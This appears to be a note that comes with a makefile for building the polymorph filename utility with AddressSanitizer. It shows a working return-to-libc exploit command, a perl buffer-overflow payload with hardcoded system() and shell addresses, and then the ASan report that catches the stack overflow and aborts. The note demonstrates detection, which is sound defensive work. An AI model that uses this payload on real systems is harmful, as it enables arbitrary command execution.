makefile to compile polymorph with Asan support  

To recompile polymorph with Asan support - rename this file to makefile (and before save a backup copy of a previous makefile), do $make clean    ; and then  $ make
After that return-to-libc attack is detected by Asan and polymorph application is terminated. Here is the output: 

$ ./polymorph -f `perl -e 'print "A"x4152 . "\xd0\x87\x04\x08" . "\xee\xff\xc0\x10" . "\xbe\xf3\xff\xbf";'`
===> Shell is at: 0xbffff404, system() libc function is here: 0x8048ae0 
=================================================================
==6975== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfffd7b0 at pc 0x8049623 bp 0xbfffcf58 sp 0xbfffcf4c
WRITE of size 1 at 0xbfffd7b0 thread T0
    #0 0x8049622 (/home/..../polymorph-0.4.0/src/polymorph+0x8049622)
    #1 0x8048e56 (/home/..../polymorph+0x8048e56)
    #2 0xb6851a82 (/lib/i386-linux-gnu/libc-2.19.so
+0x19a82)
    #3 0x8048c80 (/home/..../polymorph-0.4.0/src/polymorph+0x8048c80)
Address 0xbfffd7b0 is located at offset 2080 in frame 
<convert_fileName> of T0's stack:
  This frame has 1 object(s):
    [32, 2080) 'newname'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
Shadow bytes around the buggy address:
  0x37fffaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x37fffaf0: 00 00 00 00 00 00[f3]f3 f3 f3 00 00 00 00 00 00
  0x37fffb00: 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00
  0x37fffb10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffb20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffb30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37fffb40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==6975== ABORTING